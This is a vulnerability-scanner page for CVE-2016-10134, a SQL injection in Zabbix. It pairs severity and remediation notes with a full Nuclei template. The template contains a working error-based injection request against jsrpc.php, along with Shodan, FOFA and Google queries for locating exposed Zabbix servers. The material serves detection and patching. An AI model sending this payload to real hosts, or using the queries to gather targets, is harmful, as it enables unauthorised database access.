Zabbix - SQL Injection

criticalseverity

9.8CVSS score

82.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Zabbix before 2.2.14 and 3.0 before 3.0.4 allows remote attackers to execute arbitrary SQL commands via the toggle_ids array parameter in latest.php and perform SQL injection attacks.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the Zabbix application and underlying systems.

Fix

Apply the latest security patches or upgrade to a patched version of Zabbix to mitigate the SQL Injection vulnerability (CVE-2016-10134).

How to confirm it

Send: GET {{BaseURL}}/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)::
Positive when: contains "Error in query [INSERT INTO profiles (profileid, userid" and "You have an error in your SQL syntax" AND status 200

Run it with nuclei: nuclei -id CVE-2016-10134 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-10134

info:
  name: Zabbix - SQL Injection
  author: princechaddha
  severity: critical
  description: Zabbix before 2.2.14 and 3.0 before 3.0.4 allows remote attackers to execute arbitrary SQL commands via the toggle_ids array parameter in latest.php and perform SQL injection attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the Zabbix application and underlying systems.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Zabbix to mitigate the SQL Injection vulnerability (CVE-2016-10134).
  reference:
    - https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10134
    - https://support.zabbix.com/browse/ZBX-11023
    - https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=850936
    - http://www.debian.org/security/2017/dsa-3802
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-10134
    cwe-id: CWE-89
    epss-score: 0.82677
    epss-percentile: 0.9967
    cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zabbix
    product: zabbix
    shodan-query:
      - http.favicon.hash:892542951
      - http.title:"zabbix-server"
      - cpe:"cpe:2.3:a:zabbix:zabbix"
    fofa-query:
      - icon_hash=892542951
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
  tags: cve2016,cve,zabbix,sqli,vulhub,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)::"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Error in query [INSERT INTO profiles (profileid, userid'
          - 'You have an error in your SQL syntax'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from